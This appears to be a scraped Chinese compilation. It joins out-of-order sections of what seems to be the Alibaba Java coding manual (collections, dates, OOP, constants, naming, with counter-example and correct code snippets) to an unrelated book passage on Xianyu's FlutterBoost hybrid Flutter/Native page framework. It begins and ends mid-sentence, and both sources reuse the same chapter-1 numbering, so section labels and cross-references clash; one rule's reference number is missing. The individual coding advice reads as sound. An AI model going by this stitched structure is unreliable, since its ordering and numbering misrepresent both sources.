场景中,高度注意对父集合元素的增加或删除, 它们均会导致子列表的遍历、增加、删除产生ConcurrentModificationException 异常。9【强制】使用集合转数组的方法,必须使用集合的toArray (T[]array),传入的是类型完全一致、长度为0 的空数组。反例:直接使用toArray 无参方法存在问题,此方法返回值只能是Object[] 类, 若强转成其他类型数组, 将出现ClassCastException 错误。正例: List<String> list = new ArrayList<>(2); list.add("guan"); list.add("bao"); String[] array = list.toArray(new String[0]);说明:使用toArray 带参方法,数组空间大小的length:1)等于0,动态创建与size 相同的数组,性能最好;2)大于0 但小于size,重新创建大小等于size 的数组,增加GC 负担;3)等于size,在高并发情况下,在数组创建完成之后,size 正在变大的情况下,负面影响与第2 条相同;4)大于size,空间浪费,且在size 处插入null 值,存在NPE 隐患。10【强制】在使用Collection 接口任何实现类的addAll()方法时,都要对输入的集合参数进行NPE 判断。说明:ArrayList#addAll 方法的第一行代码即Object[] a = c.toArray();,其中,c 为输入集合参数,如果为null,则直接抛出异常。11【强制】当使用工具类Arrays.asList()把数组转换成集合时,不能使用其修改集合相关的方法,它的add/remove/clear方法会抛出UnsupportedOperationException 异常。说明:asList 的返回对象是一个Arrays 内部类,并没有实现集合的修改方法。Arrays.asList 体现的是适配器模式,只是转换接口,后台的数据仍是数组。String[] str = new String[] { "yang", "hao" };List list = Arrays.asList(str);第一种情况:list.add("yangguanbao"); 运行时异常。第二种情况:str[0] = "changed"; 也会随之修改,反之亦然。12【强制】泛型通配符<? extends T>用来接收返回的数据,此写法的泛型集合不能使用add 方法,而<? super T>不能使用get 方法,因为两者在接口调用赋值的场景中容易出错。说明:扩展介绍一下PECS(Producer Extends Consumer Super)原则:第一,频繁往外读取内容的,适合用<? extends T>;第二,经常往里插入的,适合用<? super T>。13【强制】在无泛型限制定义的集合赋值给泛型限制的集合中,当使用集合元素时,需要进行instanceof 判断,避免抛出ClassCastException 异常。说明:毕竟泛型是在JDK 5 后才出现的,考虑到向前兼容,编译器允许非泛型集合与泛型集合互相赋值。反例: List<String> generics = null; List notGenerics = new ArrayList(10); notGenerics.add(new Object()); notGenerics.add(new Integer(1)); generics = notGenerics; // 此处抛出ClassCastException 异常 String string = generics.get(0);14【强制】不要在foreach循环中对元素进行remove/add操作。当进行remove 操作时,请使用Iterator 方式。如果是并发操作,需要对Iterator 对象加锁。正例: List<String> list = new ArrayList<>(); list.add("1"); list.add("2"); Iterator<String> iterator = list.iterator(); while (iterator.hasNext()) { String item = iterator.next(); if (删除元素的条件) { iterator.remove(); }}反例: for (String item : list) { if ("1".equals(item)) { list.remove(item); } }说明:执行结果肯定会出乎大家的意料,试一下把“1”换成“2”,会是同样的结果吗?15【强制】在JDK 7 及以上版本中,Comparator 实现类要满足三个条件,否则Arrays.sort、Collections.sort 会抛IllegalArgumentException 异常。说明:三个条件如下: 1)x,y 的比较结果和y,x 的比较结果相反。 2)若x>y,y>z,则x>z。 3)若x=y,则x,z 的比较结果和y,z 的比较结果相同。反例:下例中没有处理相等的情况,交换两个对象判断结果并不互反,不符合第一个条件,在实际使用中可能会出现异常。 new Comparator<Student>() { @Override public int compare(Student o1, Student o2) { return o1.getId() > o2.getId() ? 1 : -1; } };16【推荐】当使用泛型集合定义时,在JDK 7 及以上版本中,使用diamond 语法或全省略。说明:菱形泛型即diamond,直接使用<>指代前边已经指定的类型。正例: // diamond 方式,即<> Map<String, String> userCache = new HashMap<>(16); // 全省略方式 List<User> users = new ArrayList(10);17【推荐】当集合初始化时,指定集合初始值大小。说明:HashMap 使用HashMap(int initialCapacity)初始化,如果暂时无法确定集合大小,那么指定默认值(16)即可。正例:initialCapacity = (需要存储的元素个数/负载因子) + 1。注意负载因子(即loader factor)默认为0.75,如果暂时无法确定初始值大小,则设置为16(即默认值)。反例:HashMap 需要放置1024 个元素,由于没有设置容量初始大小,则随着元素的增加而被迫不断扩容,resize()方法一共会调用8次,反复重建哈希表和数据迁移。当放置的集合元素规模达千万级时,会影响程序性能。18【推荐】使用entrySet 遍历Map 类集合K/V,而不是用keySet方式遍历。说明:keySet 方式其实遍历了两次,一次是转为Iterator 对象,另一次是从hashMap 中取出Key 所对应的Value。而entrySet 只遍历了一次就把Key 和Value 都放到了entry 中,效率更高。如果是JDK 8,则使用Map.forEach 方法。正例:values()返回的是V 值集合,是一个list 集合对象;keySet()返回的是K 值集合,是一个Set 集合对象;entrySet()返回的是K-V 值组合集合。19【推荐】高度注意Map 类集合K/V 能否存储null 值,如表1-1所示。表1-1 Map 类集合K/V 存储反例:由于HashMap 的干扰,很多人认为ConcurrentHashMap 可以置入null 值,而事实上,在存储null 值时,会抛出NPE 异常。20【参考】合理利用好集合的有序性(sort)和稳定性(order),避免集合的无序性(unsort)和不稳定性(unorder)带来的负面影响。说明:有序性指遍历的结果按某种比较规则依次排列。稳定性指集合每次遍历的元素次序是一定的。如:ArrayList 是order/unsort;HashMap 是unorder/unsort;TreeSet 是order/sort。21【参考】利用Set 元素唯一的特性,可以快速对一个集合进行去重操作,避免使用List 的contains()进行遍历、去重或者判断包含操作。
1.5 日期时间1【强制】在日期格式化时,传入pattern 中表示年份统一使用小写的y。说明:在日期格式化时,yyyy 表示当天所在的年,大写的YYYY 表示week in which year(JDK 7 之后引入的概念),意思是当天所在的周属于的年份。一周从周日开始,周六结束,只要本周跨年,返回的YYYY 就是下一年。正例:表示日期和时间的格式如下所示:new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")2【强制】在日期格式中,分清楚大写的M 和小写的m、大写的H和小写的h 分别代表的意义。说明:日期格式中的这两对字母表意如下:1)表示月份,用大写的M;2)表示分钟,用小写的m;3)表示24 小时制,用大写的H;4)表示12 小时制,用小写的h。3【强制】获取当前毫秒数:是System.currentTimeMillis();而不是new Date().getTime()。说明:如果想获取更加精确的纳秒级时间值,则使用System.nanoTime 的方式。在JDK 8 中,针对统计时间等场景,推荐使用Instant 类。4【强制】不允许在程序的任何地方使用:1)java.sql.Date;2)java.sql.Time;3)java.sql.Timestamp。说明:第1 个不记录时间,getHours()抛出异常;第2 个不记录日期,getYear()抛出异常;第3 个在构造方法super((time/1000)*1000)时,在Timestamp 属性fastTime 和nanos 中分别存储秒和纳秒信息。反例:在使用java.util.Date.after(Date)进行时间比较时,当入参是java.sql.Timestamp 时,会触发JDK BUG(JDK 9 已修复),在比较时可能导致意外结果。5【强制】不要在程序中写死一年为365 天,避免在闰年时出现日期转换错误或程序逻辑错误。正例: // 获取今年的天数 int days = LocalDate.now().lengthOfYear(); // 获取指定某年的天数 LocalDate.of(2011, 1, 1).lengthOfYear();反例: // 第一种情况:在闰年(366 天)时,出现数组越界异常 int[] dayArray = new int[365]; // 第二种情况:一年有效期的会员制,今年1 月26 日注册,硬编码 // 一年为365 天,返回的却是1 月25 日 Calendar calendar = Calendar.getInstance(); calendar.set(2020, 0, 26); calendar.add(Calendar.DATE, 365);6【推荐】避免出现闰年2 月问题。闰年的2 月有29 天,一年后的那一天不可能是2 月29 日。7【推荐】使用枚举值指代月份。如果使用数字,则注意Date、Calendar 等日期相关类的月份(month)取值在0~11 之间。说明:参考JDK 原生注释,Month value is 0-based.e.g. 0 for January.正例:用 Calendar.JANUARY、Calendar.FEBRUARY、Calendar.MARCH 等指代相应月份,进行传参或比较。
1.4 OOP 规约1【强制】避免通过一个类的对象引用访问此类的静态变量或静态方法,造成编译器解析成本无谓增加,直接用类名访问即可。2【强制】所有的覆写方法都必须加@Override 注解。说明:getObject()与get0bject()的问题。一个是字母的O,一个是数字的0,加@Override 注解可以准确判断是否覆盖成功。另外,如果在抽象类中对方法签名进行修改,其实现类会马上编译报错。3【强制】只有相同参数类型、相同业务含义,才可以使用Java的可变参数,避免使用Object。说明:可变参数必须放置在参数列表的最后(建议工程师尽量不用可变参数编程)。正例:public List<User> listUsers(String type, Long...ids) {...}4【强制】对外部正在调用或者二方库依赖的接口,不允许修改方法签名,避免对接口调用方产生影响。若接口过时,则必须加@Deprecated 注解,并清晰地说明采用的新接口或者新服务是什么。5【强制】不能使用过时的类或方法。说明:java.net.URLDecoder 中的方法decode(StringencodeStr)已经过时,应该使用双参数decode (String source, String encode)。接口提供方既然明确是过时接口,那么有义务同时提供新的接口;作为调用方,有义务考证过时方法的新实现是什么。6【强制】Object 的equals 方法容易抛空指针异常,应使用常量或确定有值的对象调用equals。正例:"test".equals(object);反例:object.equals("test");说明:推荐使用JDK 7 引入的工具类java.util.Objects#equals(Object a, Object b)。7【强制】所有整型包装类对象之间值的比较,全部使用equals方法。说明:对于Integer var = ? 在-128~127 范围内的赋值,Integer对象是在 IntegerCache.cache 产生的,会复用已有对象。这个区间内的Integer 值可以直接使用==判断,但是这个区间之外的所有数据都会在堆上产生,并不会复用已有对象,推荐使用equals 方法判断。8【强制】对于任何货币金额,均以最小货币单位且整型类型存储。9【强制】浮点数之间的等值判断,基本数据类型不能用==进行比较,包装数据类型不能用equals 方法判断。说明:浮点数采用“尾数+阶码”的编码方式,类似于科学计数法的“有效数字+指数”的表示方式。二进制无法精确表示大部分十进制小数,具体原理参考《码出高效:Java 开发手册》。反例:float a = 1.0f - 0.9f;float b = 0.9f - 0.8f;if (a == b) {// 预期进入此代码块,执行其他业务逻辑// 但事实上a==b 的结果为false}Float x = Float.valueOf(a);Float y = Float.valueOf(b);if (x.equals(y)) { // 预期进入此代码块,执行其他业务逻辑 // 但事实上equalsx.equals(y)的结果为false}正例:1)指定一个误差范围,若两个浮点数的差值在此范围之内,则认为是相等的。float a = 1.0f - 0.9f;float b = 0.9f - 0.8f;// 10 的−6 次方float diff = 1e-6f;if (Math.abs(a - b) < diff) { System.out.println("true");}2)使用BigDecimal 定义值,再进行浮点数的运算操作。BigDecimal a = new BigDecimal("1.0");BigDecimal b = new BigDecimal("0.9");BigDecimal c = new BigDecimal("0.8");BigDecimal x = a.subtract(b);BigDecimal y = b.subtract(c);/*** BigDecimal 的等值比较应使用 compareTo()方法,而不是 equals()方法。* 说明:equals()方法会比较值和精度(1.0 与 1.00 返回结果为 false),* 而 compareTo()则会忽略精度。**/if (x.compareTo(y) == 0) { System.out.println("true");}10【强制】当定义数据对象DO 类时,属性类型要与数据库字段类型相匹配。正例:数据库字段的bigint 必须与类属性的Long 类型相对应。反例:数据库表id 字段定义类型bigint unsigned,实际类对象属性为Integer。随着id 越来越大,超过Integer 的表示范围而溢出成为负数, 此时数据库id 不支持存入负数抛出异常。11【强制】禁止使用构造方法BigDecimal(double)的方式把double 值转化为BigDecimal 对象。说明:BigDecimal(double)存在精度损失风险,在精确计算或值比较的场景中,可能会导致业务逻辑出现异常。如:BigDecimal g =new BigDecimal(0.1f); 实际的存储值为:0.100000001490116119384765625。正例:优先推荐入参为String 的构造方法,或使用BigDecimal 的valueOf 方法。此方法内部其实执行了Double 的toString,而Double 的toString 按double 的实际能表达的精度对尾数进行了截断。BigDecimal good1 = new BigDecimal("0.1");BigDecimal good2 = BigDecimal.valueOf(0.1);12基本数据类型与包装数据类型的使用标准如下。1)【强制】所有的POJO 类属性都必须使用包装数据类型。2)【强制】RPC 方法的返回值和参数必须使用包装数据类型。3)【推荐】所有的局部变量都使用基本数据类型。说明:POJO 类属性没有初值,是提醒使用者在需要使用时,必须自己显式地进行赋值,任何NPE 问题或者入库检查,都由使用者保证。正例:数据库的查询结果可能是null,因为自动拆箱,所以用基本数据类型接收有NPE 风险。反例:某业务的交易报表上显示成交总额涨跌情况,即正负x%,x 为基本数据类型,调用的RPC 服务在调用不成功时,返回的是默认值,页面显示为0%,这是不合理的,应该显示成中画线“-”。所以,包装数据类型的null 值能够表示额外的信息,如:远程调用失败,异常退出。13【强制】在定义DO/DTO/VO 等POJO 类时,不要设定任何属性默认值。反例:POJO 类的createTime 默认值为new Date();但是这个属性在数据提取时并没有置入具体值,在更新其他字段时又附带更新了此字段,导致创建时间被修改成当前时间。14【强制】序列化类新增属性时,请不要修改serialVersionUID字段,避免反序列失败;如果完全不兼容升级,那么为避免反序列化混乱,请修改serialVersionUID 值。说明:注意serialVersionUID 不一致会抛出序列化运行时异常。15【强制】构造方法里面禁止加入任何业务逻辑,如果有初始化逻辑,那么请放在init 方法中。16【强制】POJO 类必须写toString 方法。当使用IDE 中的工具source> generate toString 时,如果继承了另一个POJO类,那么注意在前面加super.toString。说明:在方法执行抛出异常时,可以直接调用POJO 的toString()方法打印其属性值,便于排查问题。17【强制】禁止在POJO 类中同时存在对应属性xxx 的isXxx()和getXxx()方法。说明:框架在调用属性xxx 的提取方法时,并不能确定哪种方法一定是被优先调用的。18【推荐】当使用索引访问用String 的split 方法得到的数组时,需在最后一个分隔符后做有无内容的检查,否则会有抛出IndexOutOfBoundsException 的风险。说明:String str = "a,b,c,,";String[] ary = str.split(",");// 预期大于3,结果是3System.out.println(ary.length);19【推荐】当一个类有多个构造方法,或者多个同名方法时,这些方法应该按顺序放置在一起,便于阅读,此条规则优先于第条规则。20【推荐】类内方法定义的顺序依次是:公有方法或保护方法 > 私有方法 > getter / setter 方法。说明:公有方法是类的调用者和维护者最关心的方法,首屏展示最好;保护方法虽然只是子类关心,也可能是“模板设计模式”下的核心方法;而私有方法外部一般不需要特别关心,是一个黑盒实现;因为承载的信息价值较低,所有Service 和DAO 的getter/setter方法都放在类体的最后。21【推荐】在setter 方法中,参数名称与类成员变量名称一致,this.成员名 = 参数名。在getter/setter 方法中,不要增加业务逻辑,否则会增加排查问题的难度。反例:public Integer getData () { if (condition) { return this.data + 100; } else { return this.data - 100; }}22【推荐】在循环体内,字符串的连接方式使用StringBuilder的append 方法扩展。说明:下例中,反编译出的字节码文件显示每次循环都会new 出一个StringBuilder 对象,然后进行append 操作,最后通过toString 方法返回String 对象,造成内存资源浪费。反例:String str = "start";for (int i = 0; i < 100; i++) { str = str + "hello";}23【推荐】final 可以声明类、成员变量、方法及本地变量,下列情况使用final 关键字。1)不允许被继承的类,如:String 类。2)不允许修改引用的域对象,如:POJO 类的域变量。3)不允许被覆写的方法,如:POJO 类的setter 方法。4)不允许在运行过程中给局部变量重新赋值。5)避免上下文重复使用一个变量,使用final 描述可以强制重新定义一个变量,方便更好地重构。24【推荐】慎用Object 的clone 方法拷贝对象。说明:对象的clone 方法默认是浅拷贝,若想实现深拷贝,需要覆写clone 方法来实现域对象的深度遍历式拷贝。25【推荐】类成员与方法访问控制从严。1)如果不允许外部直接通过new 创建对象,则构造方法限制为private。2)工具类不允许有public 或default 构造方法。3)类非static 成员变量并且与子类共享,必须限制为protected。4)类非static 成员变量并且仅在本类使用,必须限制为private。5)类static 成员变量如果仅在本类使用,必须限制为private。6)若是static 成员变量,则考虑是否为final。7)类成员方法只供类内部调用,必须限制为private。8)类成员方法只对继承类公开,限制为protected。说明:任何类、方法、参数、变量,都严控访问范围。过于宽泛的访问范围不利于模块解耦。思考:如果是一个private 的方法,那么想删除就删除,可如果是一个public 的service 方法或者一个public 的成员变量,那么删除时手心不得冒点汗吗?变量像自己的小孩儿,尽量让它在自己的视线内。变量作用域太大,如果任其无限制地到处跑,你会担心的。
1.2 常量定义1【强制】不允许任何魔法值(即未经预先定义的常量)直接出现在代码中。反例:// 本例中,开发者A 定义了缓存的key,开发者B 使用缓存时少了下// 画线,即key 是"Id#taobao"+tradeId,导致出现故障String key = "Id#taobao_" + tradeId;cache.put(key, value);2【强制】在对long 或者Long 赋值时,数值后使用大写字母L,不能用小写字母l,小写字母l 容易跟数字1 混淆,造成误解。说明:Long a = 2l; 写的是数字的21,还是Long 型的2?3【推荐】不要使用一个常量类维护所有的常量,要按常量功能进行归类,分开维护。说明:大而全的常量类杂乱无章,必须使用查找功能才能定位到要修改的常量,既不利于理解,也不利于维护。正例:缓存相关常量放在类CacheConsts 下;系统配置相关常量放在类SystemConfigConsts 下。4【推荐】常量的复用层次有五层:跨应用共享常量、应用内共享常量、子工程内共享常量、包内共享常量和类内共享常量。1)跨应用共享常量:放置在二方库中,通常是在client.jar中的constant 目录下。2)应用内共享常量:放置在一方库中,通常是在子模块中的constant 目录下。反例:易懂变量也要统一定义成应用内共享常量,两位工程师在两个类中分别定义了“是”的变量:类A 中:public static final String YES = "yes";类B 中:public static final String YES = "y";A.YES.equals(B.YES),预期是true,但实际返回为false,导致线上出现问题。3)子工程内部共享常量:即在当前子工程的constant 目录下。4)包内共享常量:即在当前包下单独的constant 目录下。5)类内共享常量:直接在类内部以private static final 定义。5【推荐】如果变量值仅在一个固定范围内变化,则用enum 类型来定义。说明:如果存在名称之外的延伸属性,应使用enum 类型,下面正例中的数字就是延伸信息,表示一年中的第几个季节。正例:public enum SeasonEnum { SPRING(1), SUMMER(2), AUTUMN(3), WINTER(4); private int seq; SeasonEnum(int seq) { this.seq = seq; } public int getSeq() { return seq; }
第1章 编程规约1.1 命名风格1【强制】代码中的命名均不能以下画线或美元符号开始,也不能以下画线或美元符号结束。反例:_name / __name / $name / name_ / name$ / name__2【强制】所有编程相关的命名严禁使用拼音与英文混合的方式,更不允许直接使用中文的方式。说明:正确的英文拼写和语法可以让阅读者易于理解,避免歧义。注意,纯拼音命名方式更要避免采用。正例:ali / alibaba / taobao / cainiao/ aliyun/ youku /hangzhou 等国际通用的名称,可视同英文。反例:DaZhePromotion [打折] / getPingfenByName() [评分] /String fw[福娃] / int 某变量 = 33【强制】代码和注释中都要避免使用(任何人类语言的)涉及性别、种族、地域、特定人群等的歧视性词语。4【强制】类名使用UpperCamelCase 风格,但以下情形例外:DO / BO / DTO / VO / AO / PO / UID 等。正例:ForceCode / UserDO / HtmlDTO / XmlService /TcpUdpDeal / TaPromotion反例:forcecode / UserDo / HTMLDto / XMLService /5【强制】方法名、参数名、成员变量、局部变量都统一使用lowerCamelCase 风格。正例:localValue / getHttpMessage() / inputUserId6【强制】常量命名全部大写,单词间用下画线隔开,力求语义表达完整清楚,不要嫌名字长。正例:MAX_STOCK_COUNT / CACHE_EXPIRED_TIME反例:MAX_COUNT / EXPIRED_TIME7【强制】抽象类命名使用Abstract 或Base 开头;异常类命名使用Exception 结尾;测试类命名以它要测试的类的名称开始,以Test 结尾。8【强制】类型与中括号相连定义数组。正例:定义整形数组int[] arrayDemo;反例:在main 参数中,使用String args[]来定义。9【强制】POJO 类中的任何布尔类型的变量,都不要加is 前缀,否则部分框架解析会引起序列化错误。说明:5.1 节“建表规约”中的第1条,表达是与否概念的变量采用is_xxx 的命名方式,所以,需要在<resultMap>设置从is_xxx到xxx 的映射关系。反例:定义为基本数据类型Boolean isDeleted 的属性,它的方法也是isDeleted(),框架在反向解析的时候,“误以为”对应的属性名称是deleted,导致获取不到属性,进而抛出异常。10【强制】包名统一使用小写,点分隔符之间有且仅有一个自然语义的英语单词。包名统一使用单数形式,但是类名如果有复数含义,则类名可以使用复数形式。正例:应用工具类包名为com.alibaba.ei.kunlun.aap.util、类名为MessageUtils(此规则参考Spring 的框架结构)。11【强制】避免在子父类的成员变量之间或者不同代码块的局部变量之间采用完全相同的命名,降低可理解性。说明:子类成员、父类成员变量名相同,即使是public 类型的变量也能够通过编译。虽然局部变量在同一方法内的不同代码块中同名是合法的,但是要避免使用。对于非setter/getter 的参数名称,也要避免与成员变量名称相同。反例:public class ConfusingName { public int stock; // 非setter/getter 的参数名称 // 不允许与本类成员变量同名 public void get(String alibaba) { if (condition) { final int money = 666; // ... } for (int i = 0; i < 10; i++) { // 在同一方法体中,不允许与其他代码块中的 // money 命名相同 final int money = 15978; // ... } }}class Son extends ConfusingName { // 不允许与父类的成员变量名称相同 public int stock;}12【强制】杜绝完全不规范的缩写,避免望文不知义。反例:AbstractClass“缩写”成AbsClass,condition“缩写”成condi,Function“缩写”成Fu,此类随意缩写严重降低了代码的可读性。13【推荐】为了实现代码自解释的目标,在命名任何自定义编程元素时,都尽量使用完整的单词组合来表达。正例:在JDK 中,对某个对象引用的volatile 字段进行原子更新的类名为AtomicReferenceFieldUpdater。反例:常见的方法内变量为int a;的定义方式。14【推荐】在命名常量与变量时,表示类型的名词放在词尾,以提升辨识度。正例:startTime / workQueue / nameList反例:startedAt / QueueOfWork / listName15【推荐】如果模块、接口、类和方法使用了设计模式,在命名时需体现出具体模式。说明:将设计模式体现在名字中,有利于阅读者快速理解架构的设计理念。正例: public class OrderFactory; public class LoginProxy; public class ResourceObserver;16【推荐】接口类中的方法和属性不要加任何修饰符号(public 也不要加),保持代码的简捷性,并加上有效的Javadoc 注释。尽量不要在接口里定义变量,如果一定要定义变量,确定与接口方法相关,并且是整个应用的基础常量。正例:接口方法签名 void commit(); 接口基础常量 String COMPANY = "alibaba";反例:接口方法定义 public abstract void f();说明:JDK 8 中接口允许有默认实现,那么这个default 方法,是对所有实现类都有价值的默认实现。17接口和实现类的命名有两套规则。1)【强制】对于Service 和DAO 类,基于SOA 的理念,暴露出来的服务一定是接口,内部的实现类用Impl 的后缀与接口区别。正例:CacheServiceImpl 实现CacheService 接口。2)【推荐】如果是形容能力的接口名称,取对应的形容词为接口名(通常是–able 的形容词)。正例:AbstractTranslator 实现 Translatable 接口。18【参考】枚举类名带上Enum 后缀,枚举成员名称需要全部大写,单词间用下画线隔开。说明:枚举其实就是特殊的常量类,且构造方法被默认强制为私有。正例:枚举名字为ProcessStatusEnum 的成员名称为SUCCESS /UNKNOWN_REASON。19【参考】各层命名规约:1)Service/DAO 层方法命名规约如下。获取单个对象的方法用get 作为前缀。获取多个对象的方法用list 作为前缀,复数结尾,如listObjects。获取统计值的方法用count 作为前缀。插入的方法用save/insert 作为前缀。删除的方法用remove/delete 作为前缀。修改的方法用update 作为前缀。2)领域模型命名规约如下。数据对象:xxxDO,xxx 即数据表名。数据传输对象:xxxDTO,xxx 为业务领域相关的名称。展示对象:xxxVO,xxx 一般为网页名称。POJO 是DO/DTO/BO/VO 的统称,禁止命名成xxxPOJO。
1.5.3 第二代混合技术方案 FlutterBoost1.重构计划 闲鱼在推进Flutter 化过程当中,遇到了更加复杂的页面场景,也逐渐暴露了老方案的局限性和一些问题。所以,闲鱼启动了代号为FlutterBoost的新混合技术方案。我们的主要目标有:可复用通用型混合方案。支持更加复杂的混合模式,例如支持主页Tab。无侵入性方案,不再依赖修改Flutter 的方案。支持通用页面生命周期。统一明确的设计概念。 跟老方案类似,新的方案仍采用共享引擎的模式实现。主要思路是由Native 容器通过消息驱动Flutter 页面容器,从而达到Native 容器与Flutter容器的同步目的。希望做到Flutter 渲染的内容是由Naitve 容器来驱动的。 简单地理解,闲鱼想把Flutter 容器做得像浏览器一样。填写一个页面地址,然后由容器管理页面的绘制。在Native 侧,开发者只需要关心如何初始化容器,然后设置容器对应的页面标志即可。2.主要概念(如图1-21)图1-21 (1)Native 层Container:Native 容器、平台Controller、Activity 和ViewController。Container Manager:容器的管理者。Adaptor:Flutter 是适配层。Messaging:基于Channel 的消息通信。 (2)Dart 层Container:Flutter 用来容纳Widget 的容器,具体实现为Navigator 的派生类。Container Manager:Flutter 容器的管理者,提供show、remove 等API。Coordinator:协调器,接受Messaging 消息,负责调用Container Manager的状态管理。Messaging:基于Channel 的消息通信。 (3)关于页面的理解 在Native 和Flutter 中,表示页面的对象和概念是不一致的。在Native中,对于页面的概念一般是ViewController 和Activity。而在Flutter 中,对于页面的概念是Widget。我们希望可统一页面的概念,或者说弱化Flutter本身的Widget 对应的页面概念。换句话说,当一个Native 的页面容器存在的时候,FlutteBoost 保证一定会有一个Widget 作为容器的内容。所以,我们在理解和进行路由操作的时候,都应该以Native 的容器为准,Flutter Widget 依赖于Native 页面容器的状态。 在FlutterBoost 的概念里说到页面的时候,指的是Native 容器和它所附属的Widget。所有页面的路由操作,打开或者关闭页面,实际上都是对Native 页面容器的直接操作。无论路由请求来自何方,最终都会转发给Native 实现路由操作。这也是接入FlutterBoost 时需要实现Platform 协议的原因。 另一方面,我们无法控制业务代码通过Flutter 本身的Navigator 去push新的Widget。对于业务不通过FlutterBoost 而直接使用Navigator 操作Widget 的情况,建议由业务自己负责管理其状态。这种类型的Widget 不属于FlutterBoost 所定义的页面概念。 理解这里的页面概念,对于理解和使用FlutterBoost 至关重要。3.与老方案的主要差别 老方案在Dart 层维护单个Navigator 栈结构用于Widget 的切换。而新的方案则是在Dart 侧引入了Container 的概念,不再用栈的结构维护现有的页面,而是通过将Key-Value 映射扁平化的形式去维护当前所有的页面,每个页面拥有一个唯一的ID 地址。这种结构很自然地支持了页面的查找和切换,不再受制于栈顶操作,一些由于Pop 导致的问题迎刃而解。同时,也不再依赖修改Flutter 源码的形式去实现,避免了实现的侵入性。 这是如何做到的呢? Flutter 在底层提供了让开发者自定义Navigator 的接口,闲鱼自己实现了一个管理多个Navigator 的对象。当前最多只会有一个可见的Flutter Navigator,它包含的页面也就是当前可见容器所对应的页面。 Native 容器与Flutter 容器(Navigator)是一一对应的,生命周期也是同步的。当一个Native 容器被创建的时候,Flutter 的一个容器也被创建,它们通过相同的ID 地址关联起来。当Native 的容器被销毁的时候,Flutter的容器也被销毁。Flutter 容器的状态跟随Native 容器而变化,这也就是Native 驱动。由Manager 统一管理切换当前在屏幕上展示的容器。 下面用一个简单的例子描述一个新页面创建的过程:创建Native 容器(iOS ViewController,Android Activity or Fragment)。Native 容器通过消息机制通知Flutter Coordinator 新的容器被创建。Flutter Container Manager 得到通知,负责创建出对应的Flutter 容器,并且在其中装载对应的Widget 页面。当Native 容器展示到屏幕上时,容器给Flutter Coordinator 发消息,通知要展示页面的ID 地址。Flutter Container Manager 找到对应ID 地址的Flutter Container 并将其设置为前台可见容器。 这就是一个新页面创建的主要逻辑,销毁和进入后台等操作也类似由Native 容器事件去驱动。 目前,FlutterBoost 已经在生产环境支撑闲鱼客户端中所有的基于Flutter 开发的业务,为更加负复杂的混合场景提供了支持,同时也解决了一些历史遗留问题。闲鱼在项目启动之初就希望FlutterBoost 能够解决Native App 混合模式接入Flutter 这个通用问题。所以把它做成了一个可复用的Flutter 插件,希望吸引更多感兴趣的朋友参与到Flutter 社区的建设中来。闲鱼的方案可能不是最好的,希望看到社区能够涌现出更加优秀的组件和方案。1.5.4 扩展补充1.性能相关 在对两个Flutter 页面进行切换时,因为只有一个Flutter View,所以需要对上一个页面进行截图保存。如果Flutter 页面较多,则截图会占用大量内存。这里采用文件内存二级缓存策略,在内存中最多只保存2~3 个截图,其余的截图在写入文件时按需加载。这样一来,可以在保证用户体验的同时,使内存也保持在一个较为稳定的水平。 在页面渲染性能方面,Flutter 的AOT 优势展露无遗。当页面快速切换的时候,Flutter 能够很灵敏地进行相应页面的切换,在逻辑上创造出一种Flutter 有多个页面的感觉。2.Release 1.0 支持 在项目开始的时候,闲鱼基于目前使用的Flutter 版本进行开发,而后进行了Release 1.0 兼容升级测试且没有发现问题。3.接入 只要是集成了Flutter 的项目,都可以用官方依赖的方式,非常方便地以插件形式引入FlutterBoost,只需要对工程进行少量代码接入即可。详细接入文档,请参阅GitHub 主页官方项目文档。
1.5 使用混合栈框架开发1.5.1 为什么需要混合方案 具有一定规模的App 通常有一套成熟通用的基础库,尤其是阿里巴巴App,一般需要依赖很多体系内的基础库。使用Flutter 重新开发App 的成本和风险都较高。所以,在Native App 进行渐进式迁移是稳健型方式。闲鱼在实践中沉淀出一套自己的混合技术方案。在此过程中,闲鱼跟GoogleFlutter 团队进行密切的沟通,听取了他们的一些建议,同时也针对自身业务情况进行方案的选型以及具体的实现方法。1.5.2 Google 官方提出的混合方案1.基本原理 Flutter 技术链主要由C++实现的Flutter Engine 和Dart 实现的Framework 组成。Flutter Engine 负责线程管理、Dart VM 状态管理和Dart代码加载等工作。而Dart 代码所实现的Framework 则是业务接触到的主要API,如Widget 等概念就是在Dart 层面的Framework 内容。 一个进程里面最多只会初始化一个Dart VM。然而,一个进程可以有多个Flutter Engine,多个Engine 实例共享同一个Dart VM。 我们来看具体实现方法,在iOS 中,每初始化一个FlutterViewController就会有一个引擎随之初始化,也就意味着会有新的线程(理论上线程可以复用)去运行Dart 代码。Android 中的Activity 也有类似的效果。如果启动多个引擎实例,此时Dart VM 依然是共享的,只是不同Engine 实例加载的代码运行在各自独立的Isolate 中。2.Google 官方给出的建议 (1)引擎深度共享 在混合方案方面,Flutter 官方给出的建议是从长期来看,应该支持在同一个引擎支持多窗口绘制的能力, 至少在逻辑上做到FlutterViewController 共享同一个引擎的资源。换句话说,希望所有的绘制窗口共享同一个主Isolate。 但Google 官方给出的长期建议目前来说没有很好的支持。 (2)多引擎模式 在混合方案中,我们解决的主要问题是如何处理交替出现的Flutter 和Native 页面。Google 工程师给出了一个Keep It Simple 的方案:对于连续的Flutter 页面(Widget),只需要在当前FlutterViewController 中打开即可,对于间隔的Flutter 页面,选择初始化新的引擎。 例如,进行下面一组导航操作:Flutter Page1 -> Flutter Page2 -> Native Page1 -> Flutter Page3 只需在Flutter Page1 和Flutter Page3 中创建不同的Flutter 实例即可。 这个方案的好处是简单易懂,逻辑清晰;但也有潜在的问题,如果一个Native 页面和一个Flutter 页面一直交替进行,那么Flutter Engine 的数量会呈线性增加,而Flutter Engine 本身是一个比较重的对象。 (3)多引擎模式的问题冗余的资源问题。多引擎模式下,每个引擎之间的Isolate 是相互独立的。在逻辑上这并没有什么坏处,但是引擎底层其实是维护了图片缓存等比较消耗内存的对象。想象一下,若每个引擎都维护自己的一份图片缓存,则内存压力将非常大。插件注册的问题。插件依赖Messenger 传递消息,而Messenger 是由FlutterViewController ( Activity ) 实现的。如果有多个FlutterViewController,插件的注册和通信将会变得混乱、难以维护,消息传递的源头和目标也会变得不可控。Flutter Widget 和Native 的页面差异化问题。Flutter 的页面是Widget,Native 的页面是VC。从逻辑上来说,我们希望消除Flutter 页面与Naitve页面的差异,否则在进行页面埋点和其他一些统一操作的时候,都会遇到额外的复杂度。增加页面之间通信的复杂度。如果所有Dart 